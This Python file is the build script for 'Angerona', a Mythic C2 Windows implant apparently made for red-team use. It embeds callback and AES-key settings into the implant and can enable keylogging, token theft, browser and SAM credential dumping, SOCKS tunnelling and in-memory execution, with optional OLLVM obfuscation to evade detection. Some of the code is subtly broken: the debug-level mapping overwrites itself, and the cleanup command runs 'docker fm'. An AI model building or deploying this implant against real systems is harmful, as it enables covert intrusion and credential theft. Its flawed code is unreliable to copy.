import pathlib
import tempfile
import base64
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree,remove_tree
import asyncio
import hashlib

import string, random, os, subprocess

def generate_random_string(length=100):
    chars = string.ascii_letters + string.digits  # a-zA-Z0-9
    return ''.join(random.choices(chars, k=length))

class AngeronaAgent(PayloadType):
    name = "Angerona"
    file_extension = "exe"
    author = "OFSTeam"
    supported_os = [SupportedOS.Windows]
    wrapper = False
    wrapped_payloads = []
    note = """C implant Developed by the Kaseya OFSTeam"""
    supports_dynamic_loading = True
    c2_profiles = ["http"]
    mythic_encrypts = True
    translation_container = "angerona_translator"
    build_parameters = [
        BuildParameter(
            name="output",
            parameter_type=BuildParameterType.ChooseOne,
            description="Choose output format",
            choices=["exe", "dll"],
            default_value="exe"
        ),
        BuildParameter(
            name="debug_level",
            parameter_type=BuildParameterType.ChooseOne,
            description="Debug verbosity level",
            choices=["none", "errors", "warnings", "info", "all"],
            default_value="none"
        ),
        BuildParameter(
            name="debug_output",
            parameter_type=BuildParameterType.ChooseOne,
            description="Debug output destination (only used if debug_level is not 'none')",
            choices=["console", "file"],
            default_value="console"
        ),
        BuildParameter(
            name="ollvm_compilation",
            parameter_type=BuildParameterType.ChooseOne,
            description="OLLVM obfuscation level (0=None, 1=Light, 2=Heavy)",
            choices=["0","1","2"],
            default_value="0"
        )
    ]
    agent_path = pathlib.Path(".") / "angerona"
    agent_icon_path = agent_path / "agent_functions" / "angerona.svg"
    agent_code_path = agent_path / "agent_code"

    build_steps = [
        BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
        BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
        BuildStep(step_name="Compiling", step_description="Compiling the code"),
    ]

    async def build(self) -> BuildResponse:
        resp = BuildResponse(status=BuildStatus.Success)
        
        Config = {
            "payload_uuid": self.uuid,
            "callback_host": "",
            "USER_AGENT": "",
            "httpMethod": "POST",
            "post_uri": "",
            "headers": [],
            "callback_port": 80,
            "ssl": False,
            "proxyEnabled": False,
            "proxy_host": "",
            "proxy_user": "",
            "proxy_pass": "",
        }

        # Track encryption configuration
        crypto_type_value = None
        aespsk_key_b64 = ""
        debug_messages = []  # Collect all debug messages for "Applying configuration" step
        
        debug_messages.append(f"=== DEBUG INFO ===")
        debug_messages.append(f"UUID: {self.uuid}")
        debug_messages.append(f"Number of C2 profiles: {len(self.c2info)}")
        
        for c2 in self.c2info:
            profile = c2.get_c2profile()
            debug_messages.append(f"\n--- C2 Profile: {profile} ---")
            
            params_dict = c2.get_parameters_dict()
            if not params_dict:
                debug_messages.append("WARNING: get_parameters_dict() returned None or empty!")
                continue
            
            debug_messages.append(f"Parameters dict keys: {list(params_dict.keys())}")
            debug_messages.append(f"Full params_dict: {params_dict}")
            
            for key, val in params_dict.items():
                debug_messages.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})")
                
                # Check if val is a dict that might contain enc_key
                if isinstance(val, dict):
                    debug_messages.append(f"  -> Parameter {key} is a dict with keys: {list(val.keys())}")
                    
                    # Handle AESPSK dict: contains 'value' (crypto_type), 'enc_key', and 'dec_key'
                    if key == "AESPSK" or key == "aespsk":
                        # Extract crypto_type from 'value' field
                        if 'value' in val:
                            crypto_type_value = val['value']
                            debug_messages.append(f"  -> Found crypto_type in AESPSK['value']: {crypto_type_value}")
                        # Extract enc_key
                        if 'enc_key' in val:
                            if val["enc_key"] is not None and val["enc_key"] != "":
                                aespsk_key_b64 = val["enc_key"]
                                try:
                                    decoded_len = len(base64.b64decode(val['enc_key']))
                                    debug_messages.append(f"  -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})")
                                except Exception as e:
                                    debug_messages.append(f"  -> ERROR decoding enc_key: {e}")
                            else:
                                debug_messages.append(f"  -> enc_key in AESPSK is None or empty")
                    # Handle other dict parameters that might contain enc_key
                    elif 'enc_key' in val:
                        debug_messages.append(f"  -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...")
                        if val["enc_key"] is not None and val["enc_key"] != "":
                            aespsk_key_b64 = val["enc_key"]
                            try:
                                decoded_len = len(base64.b64decode(val['enc_key']))
                                debug_messages.append(f"  -> enc_key decoded length: {decoded_len}")
                            except Exception as e:
                                debug_messages.append(f"  -> ERROR decoding enc_key: {e}")
                        else:
                            aespsk_key_b64 = ""
                            debug_messages.append(f"  -> enc_key is None or empty")
                    else:
                        Config[key] = val
                else:
                    Config[key] = val
                    # Log the crypto_type value and store it (in case it comes as a direct parameter)
                    if key == "crypto_type":
                        crypto_type_value = val
                        debug_messages.append(f"  -> crypto_type set to: {val}")
                        
                # Also check if the key itself is 'enc_key'
                if key == "enc_key" and val and not isinstance(val, dict):
                    aespsk_key_b64 = str(val)
                    debug_messages.append(f"  -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...")
            break

        # Determine encryption based on crypto_type and enc_key
        debug_messages.append(f"\n=== ENCRYPTION DECISION ===")
        debug_messages.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})")
        debug_messages.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}")
        debug_messages.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}")
        debug_messages.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}")
        
        encryption_enabled = False
        if crypto_type_value == "aes256_hmac" and aespsk_key_b64:
            encryption_enabled = True
            debug_messages.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present")
        else:
            debug_messages.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}")

        # Set encryption configuration
        if encryption_enabled and aespsk_key_b64:
            Config["ENCRYPTION_ENABLED"] = "1"  # Use 1/0 instead of TRUE/FALSE for direct numeric use
            Config["AESPSK_KEY"] = aespsk_key_b64
            debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'")
            debug_messages.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})")
            debug_messages.append(f"Agent-side encryption ENABLED with AES256-HMAC")
        else:
            Config["ENCRYPTION_ENABLED"] = "0"  # Use 1/0 instead of TRUE/FALSE for direct numeric use
            Config["AESPSK_KEY"] = ""
            debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'")
            debug_messages.append(f"Set Config[AESPSK_KEY] = '' (empty)")
            debug_messages.append(f"Agent-side encryption disabled")

        if "https://" in Config["callback_host"]:
            Config["ssl"] = True
        Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://", "")
        if Config["proxy_host"] != "":
            Config["proxyEnabled"] = True

        await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
            PayloadUUID=self.uuid,
            StepName="Gathering Files",
            StepStdout="Found all files for payload",
            StepSuccess=True
        ))

        # Get selected commands and create compiler defines
        selected_commands = self.commands.get_commands()
        debug_messages.append(f"\n=== COMMAND SELECTION ===")
        debug_messages.append(f"Total commands selected: {len(selected_commands)}")
        debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}")
        
        # Map command names to preprocessor define names
        # Format: command_name -> ENABLE_XXX_CMD
        command_to_define = {
            "shell": "ENABLE_SHELL_CMD",
            "cd": "ENABLE_CD_CMD",
            "ls": "ENABLE_LS_CMD",
            "pwd": "ENABLE_PWD_CMD",
            "cp": "ENABLE_CP_CMD",
            "mkdir": "ENABLE_MKDIR_CMD",
            "rm": "ENABLE_RM_CMD",
            "cat": "ENABLE_CAT_CMD",
            "download": "ENABLE_DOWNLOAD_CMD",
            "upload": "ENABLE_UPLOAD_CMD",
            "screenshot": "ENABLE_SCREENSHOT_CMD",
            "ps": "ENABLE_PS_CMD",
            "kill": "ENABLE_KILL_CMD",
            "socks": "ENABLE_SOCKS_CMD",
            "rpfwd": "ENABLE_RPFWD_CMD",
            "keylog_start": "ENABLE_KEYLOG_START_CMD",
            "keylog_stop": "ENABLE_KEYLOG_STOP_CMD",
            "list_tokens": "ENABLE_LIST_TOKENS_CMD",
            "steal_token": "ENABLE_STEAL_TOKEN_CMD",
            "make_token": "ENABLE_MAKE_TOKEN_CMD",
            "rev2self": "ENABLE_REV2SELF_CMD",
            "whoami": "ENABLE_WHOAMI_CMD",
            "browser_info": "ENABLE_BROWSER_INFO_CMD",
            "browser_dump": "ENABLE_BROWSER_DUMP_CMD",
            "samdump": "ENABLE_SAMDUMP_CMD",
            "inline_execute": "ENABLE_INLINE_EXECUTE_CMD",
            "inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD",
        }
        
        # Generate compiler defines for selected commands
        command_flags = []
        for cmd_name in selected_commands:
            if cmd_name in command_to_define:
                define_name = command_to_define[cmd_name]
                command_flags.append(f"-D{define_name}")
                debug_messages.append(f"  -> {cmd_name}: {define_name}")
        
        # Core commands (exit, sleep) are always included, no flags needed
        # Commands with builtin=True (sleep) are always included by Mythic
        
        command_flags_str = " ".join(command_flags)
        debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags")
        if command_flags_str:
            debug_messages.append(f"Command flags: {command_flags_str}")

        agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
        copy_tree(str(self.agent_path), agent_build_path.name)

        output_format = self.get_parameter("output")
        debug_level = self.get_parameter("debug_level")
        debug_output = self.get_parameter("debug_output")
        ollvm_compilation = int(self.get_parameter("ollvm_compilation"))

        config_path = f"{agent_build_path.name}/agent_code/angerona/Config.h"
        
        # Replace placeholders in Config.h
        debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
        debug_messages.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'")
        debug_messages.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'")
        
        with open(config_path, "r+") as f:
            content = f.read()
            content = content.replace("%UUID%", Config["payload_uuid"])
            content = content.replace("%HOSTNAME%", Config["callback_host"])
            content = content.replace("%ENDPOINT%", Config["post_uri"])
            content = content.replace("%SSL%", "TRUE" if Config["ssl"] else "FALSE")
            content = content.replace("%PORT%", str(Config["callback_port"]))
            content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
            content = content.replace("%USERAGENT%", Config["USER_AGENT"])
            content = content.replace("%PROXYURL%", Config["proxy_host"])
            content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE")
            
            # Replace encryption settings
            encryption_value = Config.get("ENCRYPTION_ENABLED", "0")
            aespsk_value = Config.get("AESPSK_KEY", "")
            debug_messages.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'")
            debug_messages.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})")
            content = content.replace("%ENCRYPTION_ENABLED%", encryption_value)
            content = content.replace("%AESPSK_KEY%", aespsk_value)
            
            f.seek(0)
            f.write(content)
            f.truncate()
        
        # Verify replacement worked
        with open(config_path, "r") as f:
            content_after = f.read()
            if "#define ENCRYPTION_ENABLED" in content_after:
                import re
                match = re.search(r'#define ENCRYPTION_ENABLED\s+(\S+)', content_after)
                if match:
                    debug_messages.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}")
                match = re.search(r'#define AESPSK_KEY\s+"([^"]*)"', content_after)
                if match:
                    key_val = match.group(1)
                    debug_messages.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
        
        # Send all debug info as part of "Applying configuration" step
        final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n"
        final_output += "\n".join(debug_messages)
        
        await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
            PayloadUUID=self.uuid,
            StepName="Applying configuration",
            StepStdout=final_output,
            StepSuccess=True
        ))

       # Local Compilation (without OLLVM)
        if ollvm_compilation == 0:
            # Determine build target and filename based on output format and debug settings
            if debug_level == "none":
                make_target = output_format
                output_filename = f"angerona.{output_format}"
                make_flags = ""
            else:
                make_target = f"debug_{output_format}"
                output_filename = f"angerona-debug.{output_format}"
                # Pass debug level and output type to Makefile
                # The Makefile will convert string values to numbers
                make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
            
            # Add command flags to make command
            if command_flags_str:
                make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"

            command = f"make -C {agent_build_path.name}/agent_code/angerona {make_target} {make_flags}"
            filename = f"{agent_build_path.name}/agent_code/angerona/build/{output_filename}"

            proc = await asyncio.create_subprocess_shell(
                command,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE
            )

            stdout, stderr = await proc.communicate()

            compile_output = stdout.decode() if stdout else ""
            compile_errors = stderr.decode() if stderr else ""

            if proc.returncode != 0:
                await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Compiling",
                    StepStdout=f"Compilation failed!\nSTDOUT:\n{compile_output}\n\nSTDERR:\n{compile_errors}",
                    StepSuccess=False
                ))
                resp.status = BuildStatus.Error
                resp.build_message = f"Compilation failed: {compile_errors}"
                return resp

            #  Obtain the MD5 and SHA256 of the compiled payload
            md5_hash = hashlib.md5(open(filename, "rb").read()).hexdigest()
            sha256_hash = hashlib.sha256(open(filename, "rb").read()).hexdigest()

            debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
            await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
                PayloadUUID=self.uuid,
                StepName="Compiling",
                StepStdout=f"Successfully compiled angerona{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}",
                StepSuccess=True
            ))

            resp.payload = open(filename, "rb").read()
            resp.build_message = f"Successfully built {output_filename}{debug_info}"

        #  OLLVM compilation in a Docker container
        else:
            container_name = generate_random_string(6)
            docker_volume_folder = os.path.join("/", "tmp", "converter",container_name)

            # Translate debug variables to Docker container variables
            #  DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
            # DEBUG_OUTPUT: console=0, file=1
            debug_level_docker = debug_level.replace("none", "0")
            debug_level_docker = debug_level.replace("errors", "1")
            debug_level_docker = debug_level.replace("warnings", "2")
            debug_level_docker = debug_level.replace("info", "3")
            debug_level_docker = debug_level.replace("all", "4")
            debug_output_docker = debug_output.replace("console", "0")
            debug_output_docker = debug_output.replace("file", "1")

            # Ollvm parameters:
            level_1_obfuscation_parameters = "-mllvm -fla -mllvm -bcf -mllvm -sub"
            level_2_obfuscation_parameters = "-mllvm -sub -mllvm -sub_loop=3 -mllvm -split -mllvm -split_num=3 -mllvm -fla -mllvm -bcf -mllvm -bcf_loop=3 -mllvm -bcf_prob=40"

            if ollvm_compilation == 1:
                obfuscation_parameters = level_1_obfuscation_parameters
            elif ollvm_compilation == 2:
                obfuscation_parameters = level_2_obfuscation_parameters

            # Add command flags to OLLVM compilation
            command_flags_ollvm = command_flags_str if command_flags_str else ""
            
            # Compilation Command
            compilation_command = f"clang -target x86_64-w64-mingw32 \
            -fuse-ld=lld \
            -DDEBUG_LEVEL={debug_level_docker} \
            -DDEBUG_OUTPUT={debug_output_docker} \
            {command_flags_ollvm} \
            {obfuscation_parameters} \
            -L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
            --sysroot=/usr/x86_64-w64-mingw32 \
            /tmp/angerona/*.c \
            -o /tmp/angerona/angerona.exe \
            -lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
            -lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "

            # Create Docker Containter ollvm16-builder
            create_container_command = [
                "docker", "run",
                "--name", f"{container_name}",
                "--volume", f"{docker_volume_folder}:/tmp/angerona/",
                "ollvm16-builder:latest",
                "sh", "-c" ,compilation_command
            ]


            # Delete Docker Container
            delete_container_command = [
                "docker",
                f"fm {container_name}"
            ]

            try:
                # Move agent_build_path.name to docker_volume_folder
                copy_tree(f"{agent_build_path.name}/agent_code/angerona", docker_volume_folder)

                # Create Docker Container
                result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)

                if result.returncode != 0:
                    await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
                        PayloadUUID=self.uuid,
                        StepName="Compiling",
                        StepStdout=f"Error creating Docker Container: {result.stderr}",
                        StepSuccess=False
                    ))
                    resp.status = BuildStatus.Error
                    resp.build_message = f"Error creating Docker Container: {result.stderr}"
                    return resp

                # Get the output from the Docker Container
                resp.payload = open(f"{docker_volume_folder}/angerona.exe", "rb").read()
                resp.build_message = "Successfully built!"

                await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Compiling",
                    StepStdout=f"Successfully built angerona.exe",
                    StepSuccess=True
                ))

                # Delete Docker Container
                delete_container_command = await asyncio.create_subprocess_shell(
                    " ".join(delete_container_command),
                    stdout=asyncio.subprocess.PIPE,
                    stderr=asyncio.subprocess.PIPE
                )
                remove_tree(docker_volume_folder)
                remove_tree(str(self.agent_path))   
            except Exception as e:
                await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Compiling",
                    StepStdout=f"Error creating Docker Container: {e}",
                    StepSuccess=False
                ))
                resp.status = BuildStatus.Error
                resp.build_message = f"Error creating Docker Container: {e}"
                return resp
        return resp
